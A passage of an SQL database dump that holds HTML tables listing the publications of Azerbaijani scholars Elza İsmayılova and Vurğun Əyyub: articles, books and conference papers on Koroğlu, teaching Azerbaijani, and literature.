...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 126</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məhəbbət coşanda şeir yazıram...” Hamlet İsaxanlının 55 illiyinə həsr olunmuş ədəbi-bədii gecədən qeydlər</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 141</p></td><td width=\"48\"><p>15.03.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dünya konsert salonunun açılışı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 136</p></td><td width=\"48\"><p>01.01. 2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq mərasimi”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 153</p></td><td width=\"48\"><p>01– 31.10.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 160</p></td><td width=\"48\"><p>01.15.02. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 161,</p></td><td width=\"48\"><p>16-29.02.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 162</p></td><td width=\"48\"><p>01-15.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 163</p></td><td width=\"48\"><p>16-31.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı № 164</p></td><td width=\"48\"><p>, 01.04. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunların bayramı. Xəzər Universitəsinin 16-cı məzunluq mərasimi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 164</p></td><td width=\"48\"><p>01.04.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Aşıq Koroğlu”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər” jurnalı№166</p></td><td width=\"48\"><p>01.05. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Тəкəlü tək&nbsp; arxası var, eli var”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №169</p></td><td width=\"48\"><p>15. 06. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 171</p></td><td width=\"48\"><p>15 iyul 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq bayramı”</p></td><td width=\"97\"><p>(Xəzər Universitetinin 17-ci məzunluq mərasiminə həsr olunmuş təntənəli gecədən reportaj</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla birgə</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №174</p></td><td width=\"48\"><p>5.10.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Məzunlar bayramı. Xəzər Universitetinin 18-ci məzunluq mərasiminə həsr olunmuş təntənəli gecə</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №185</p></td><td width=\"48\"><p>01.04.2005</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Qayıt, gəl!”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Körpü”</p></td><td width=\"48\"><p>01.01. 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Journal of Azerbaijani studes – Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Folklor/Edebiyat” Dergisi, cilt:11, С: 43, Аnkara</p></td><td width=\"48\"><p>2005/3.</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(“Dilmac” jurnalı, № 25, 26, 27- İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Dəvət”&nbsp; qəzeti, İran</p></td><td width=\"48\"><p>6 mart&nbsp; 2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun yurdu, eli haqqında”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Urmiyanın səsi” qəzeti № 379– İran</p></td><td width=\"48\"><p>17 iyun 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>&nbsp;“Koroğlu” dastanının yaranma tarixi və məkanı</p><p>&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>&nbsp; “Dəvət” qəzeti, İran</p></td><td width=\"48\"><p>30 may&nbsp; 2009</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Dilmac” jurnalı,&nbsp; № 25, 26, 27 – İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun dövrü, şəxsiyyəti haqqında”</p><p>&nbsp;</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(Journal of Azerbaijani Studes –&nbsp;&nbsp; Azərbaycan Araşdırmaları Jurnalı, Volume 2, Khazar University Press</p></td><td width=\"48\"><p>2009</p></td><td width=\"77\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1585,985,'en','Vurgun Eyyub','Vurgun Eyyub','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"801\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"272\"><p><strong>Title of publication&nbsp;</strong></p></td><td width=\"95\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>All Authors&nbsp;</strong></p></td><td width=\"132\"><p><strong>Publisher &amp; Place of&nbsp; Publication&nbsp;</strong></p></td><td width=\"123\"><p><strong>Year Published&nbsp;</strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages&nbsp;</strong></p></td></tr><tr><td width=\"272\"><p>Dərsliklərimizdə Avropa dəyərlərinin təbliği problemləri. Bakü, 2008.</p></td><td width=\"95\"><p>kitab</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>&nbsp;Bakı</p></td><td width=\"123\"><p>2008-ci il</p><p>&nbsp;</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Təhsil qanunu: müzakirələr, mülahizələr. Bakü, 2009.</p></td><td width=\"95\"><p>kitab</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>&nbsp;Bakı</p></td><td width=\"123\"><p>2009-ci il</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>“Gül dili”ndə alim kobudluğu. (Məqalə M. Füzulinin tedqiq tarixi barədədir.)</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Azadlıq” qəzeti</p></td><td width=\"123\"><p>&nbsp; 6-7 oktyabr 2009.</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Yoxluqdan varlığa səfər.</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Azadlıq” qəzeti</p></td><td width=\"123\"><p>22 dekabr 2009</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Bəxtiyar Vahabzadə poeziyasında insan konsepsiyası.&nbsp;</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Erdem” Atatürk Kültür Mərkəzinin Dərgisi (Bəxtiyar Vahabzadə özəl sayısı), Ankara, Türkiyə</p></td><td width=\"123\"><p>2010, sayı 57</p></td><td width=\"76\"><p>&nbsp;Səh. 75-85</p></td></tr><tr><td width=\"272\"><p>&nbsp;</p><p>Tariximizin qürur verici səhifəsi.</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“ Azərbaycan” türk kültür dərgisi, Ankara, Türkiyə</p></td><td width=\"123\"><p>&nbsp; yanvar 2011, sayı 378.</p></td><td width=\"76\"><p>Səh. 17-20</p></td></tr><tr><td width=\"272\">&nbsp;</td><td width=\"95\">&nbsp;</td><td width=\"104\">&nbsp;</td><td width=\"132\">&nbsp;</td><td width=\"123\">&nbsp;</td><td width=\"76\">&nbsp;</td></tr><tr><td width=\"272\"><p>&nbsp;Azərbaycan romantiklərinin yaradıcılığında I Cahan savaşı.</p><p>&nbsp;</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Şəhadətin adı: Sarıkamış” (Kars Valiliyinin özəl sayı), Kars, Türkiyə</p></td><td width=\"123\"><p>4 yanvar 2012, sayı 4</p></td><td width=\"76\"><p>Səh.23-29</p></td></tr><tr><td width=\"272\"><p>Azerbaycan türkcesinde konuşma kültürünün gelişmesine tele-radio mekanının etgileri.</p><p>&nbsp;</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>1. Uluslararası kitle iletişim araçlarında türkçenin kullanımı bilgi şöleni (16-17 nisan 2009)</p></td><td width=\"123\"><p>&nbsp; Kırıkkale, Türkiye 2011</p></td><td width=\"76\"><p>&nbsp;seh.381-387</p></td></tr><tr><td width=\"272\"><p>Hüseyn Cavid Dramaturjisinde Gürcistan ve Gürciler.</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>Güney Kafkasiya Dil-Kültür İlişkileri Uluslararası Bilgi Şöleni Bildirileri.</p></td><td width=\"123\"><p>Ordu Üniversitesi Sosyal Bilimler Enstitusu, Türkiye&nbsp; 2011</p></td><td width=\"76\"><p>&nbsp;seh.563-569.</p><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Fuzuli Yaratıcılığında Mecnun karakterinin yeri ve rolü.</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>Uluslararası Klasik Türk Edebiyatı Sempozyumu (Prof.Dr. Mehmed Çavuşoğlu Anısına)Ordu Üniversitesi, Fen-Edebiyat Fakültesi. (10-12 mayıs 2012)</p></td><td width=\"123\"><p>Ordu, Türkiye&nbsp;&nbsp; 2012.</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Postmodernizm və “Unudulmağa kimsə yox...” dilemması.</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“525-ci qəzet</p></td><td width=\"123\"><p>10 fevral 2012</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>XX əsr Azərbaycan ədəbiyyatına yeni bir baxış.</p><p>&nbsp;</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Ədalət” qəzeti</p></td><td width=\"123\"><p>21 dekabr 2012</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Şeir təhlilləri</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Ədalət” qəzeti</p></td><td width=\"123\"><p>23 fevral 2012</p></td><td width=\"76\"><p>&nbsp;</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1586,985,'az','Vurgun Eyyub','Vurgun Eyyub','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"801\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"272\"><p><strong>Title of publication&nbsp;</strong></p></td><td width=\"95\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>All Authors&nbsp;</strong></p></td><td width=\"132\"><p><strong>Publisher &amp; Place of&nbsp; Publication&nbsp;</strong></p></td><td width=\"123\"><p><strong>Year Published&nbsp;</strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages&nbsp;</strong></p></td></tr><tr><td width=\"272\"><p>Dərsliklərimizdə Avropa dəyərlərinin təbliği problemləri. Bakü, 2008.</p></td><td width=\"95\"><p>kitab</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>&nbsp;Bakı</p></td><td width=\"123\"><p>2008-ci il</p><p>&nbsp;</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Təhsil qanunu: müzakirələr, mülahizələr. Bakü, 2009.</p></td><td width=\"95\"><p>kitab</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>&nbsp;Bakı</p></td><td width=\"123\"><p>2009-ci il</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>“Gül dili”ndə alim kobudluğu. (Məqalə M. Füzulinin tedqiq tarixi barədədir.)</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Azadlıq” qəzeti</p></td><td width=\"123\"><p>&nbsp; 6-7 oktyabr 2009.</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Yoxluqdan varlığa səfər.</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Azadlıq” qəzeti</p></td><td width=\"123\"><p>22 dekabr 2009</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Bəxtiyar Vahabzadə poeziyasında insan konsepsiyası.&nbsp;</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Erdem” Atatürk Kültür Mərkəzinin Dərgisi (Bəxtiyar Vahabzadə özəl sayısı), Ankara, Türkiyə</p></td><td width=\"123\"><p>2010, sayı 57</p></td><td width=\"76\"><p>&nbsp;Səh. 75-85</p></td></tr><tr><td width=\"272\"><p>&nbsp;</p><p>Tariximizin qürur verici səhifəsi.</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“ Azərbaycan” türk kültür dərgisi, Ankara, Türkiyə</p></td><td width=\"123\"><p>&nbsp; yanvar 2011, sayı 378.</p></td><td width=\"76\"><p>Səh. 17-20</p></td></tr><tr><td width=\"272\">&nbsp;</td><td width=\"95\">&nbsp;</td><td width=\"104\">&nbsp;</td><td width=\"132\">&nbsp;</td><td width=\"123\">&nbsp;</td><td width=\"76\">&nbsp;</td></tr><tr><td width=\"272\"><p>&nbsp;Azərbaycan romantiklərinin yaradıcılığında I Cahan savaşı.</p><p>&nbsp;</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Şəhadətin adı: Sarıkamış” (Kars Valiliyinin özəl sayı), Kars, Türkiyə</p></td><td width=\"123\"><p>4 yanvar 2012, sayı 4</p></td><td width=\"76\"><p>Səh.23-29</p></td></tr><tr><td width=\"272\"><p>Azerbaycan türkcesinde konuşma kültürünün gelişmesine tele-radio mekanının etgileri.</p><p>&nbsp;</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>1. Uluslararası kitle iletişim araçlarında türkçenin kullanımı bilgi şöleni (16-17 nisan 2009)</p></td><td width=\"123\"><p>&nbsp; Kırıkkale, Türkiye 2011</p></td><td width=\"76\"><p>&nbsp;seh.381-387</p></td></tr><tr><td width=\"272\"><p>Hüseyn Cavid Dramaturjisinde Gürcistan ve Gürciler.</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>Güney Kafkasiya Dil-Kültür İlişkileri Uluslararası Bilgi Şöleni Bildirileri.</p></td><td width=\"123\"><p>Ordu Üniversitesi Sosyal Bilimler Enstitusu, Türkiye&nbsp; 2011</p></td><td width=\"76\"><p>&nbsp;seh.563-569.</p><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Fuzuli Yaratıcılığında Mecnun karakterinin yeri ve rolü.</p></td><td width=\"95\"><p>Məruzə mətni</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>Uluslararası Klasik Türk Edebiyatı Sempozyumu (Prof.Dr. Mehmed Çavuşoğlu Anısına)Ordu Üniversitesi, Fen-Edebiyat Fakültesi. (10-12 mayıs 2012)</p></td><td width=\"123\"><p>Ordu, Türkiye&nbsp;&nbsp; 2012.</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Postmodernizm və “Unudulmağa kimsə yox...” dilemması.</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“525-ci qəzet</p></td><td width=\"123\"><p>10 fevral 2012</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>XX əsr Azərbaycan ədəbiyyatına yeni bir baxış.</p><p>&nbsp;</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Ədalət” qəzeti</p></td><td width=\"123\"><p>21 dekabr 2012</p></td><td width=\"76\"><p>&nbsp;</p></td></tr><tr><td width=\"272\"><p>Şeir təhlilləri</p></td><td width=\"95\"><p>Məqalə</p></td><td width=\"104\"><p>Vurğun Əyyub</p></td><td width=\"132\"><p>“Ədalət” qəzeti</p></td><td width=\"123\"><p>23 fevral 2012</p></td><td width=\"76\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (1588,986,'en','Elza Ismayilova','Elza Ismayilova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong></p></td><td width=\"48\"><p><strong>Year Published</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong></p></td></tr><tr><td width=\"204\"><p>“<em>The Azerbaijani language</em>– Azərbaycan dili”&nbsp; dərsliyi (İngilis dilində danışanlar üçün</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Hamlet İsaxanlı, Elza İsmayılova və Firəngiz Nəsirova</p></td><td width=\"144\"><p>Bakı, Xəzər Universiteti Nəşriyyatı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Azərbaycan, Gürcüstan, Türkiyə və Paris variantlarının müqayisəli təhlili”</p><p>&nbsp;</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(<em>Türk Dil Kurumunda&nbsp; çapdadır</em>)</p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin öyrədilməsi yolları<em>”</em></p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p><em>(Çapa hazırlanır).</em></p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Gəlir Novruz bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №43</p></td><td width=\"48\"><p>18.03.1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Azərbaycan – yurdum mənim”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №87</p></td><td width=\"48\"><p>01.06.2000</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Elm, təhsil və mədəniyyət bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №103</p></td><td width=\"48\"><p>01.04.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №105</p></td><td width=\"48\"><p>01.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №106</p></td><td width=\"48\"><p>15.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dərsdə texniki təlim vasitələrindən istifadə”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №107</p></td><td width=\"48\"><p>01.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi” “Dərsdə texniki təlim vasitələrindən istifadə”&nbsp; (ardı)</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №108</p></td><td width=\"48\"><p>15.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Demə, Səməd Vurğun gəldi-gedərdi...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №109</p></td><td width=\"48\"><p>01.07.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №111</p></td><td width=\"48\"><p>01.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №112</p></td><td width=\"48\"><p>15.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №113</p></td><td width=\"48\"><p>01.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişlərinin aşılanması ardıcıllığı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №114</p></td><td width=\"48\"><p>15.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №116</p></td><td width=\"48\"><p>15.12.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №117</p></td><td width=\"48\"><p>01.01.2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Borçalı – Qarayazı variantı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova Şurəddin Məmmədli və Vahid Ömərovla birgə&nbsp;&nbsp;</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 125</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Öz içindən yanan bir ocağam mən ...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 126</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məhəbbət coşanda şeir yazıram...” Hamlet İsaxanlının 55 illiyinə həsr olunmuş ədəbi-bədii gecədən qeydlər</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 141</p></td><td width=\"48\"><p>15.03.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dünya konsert salonunun açılışı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td 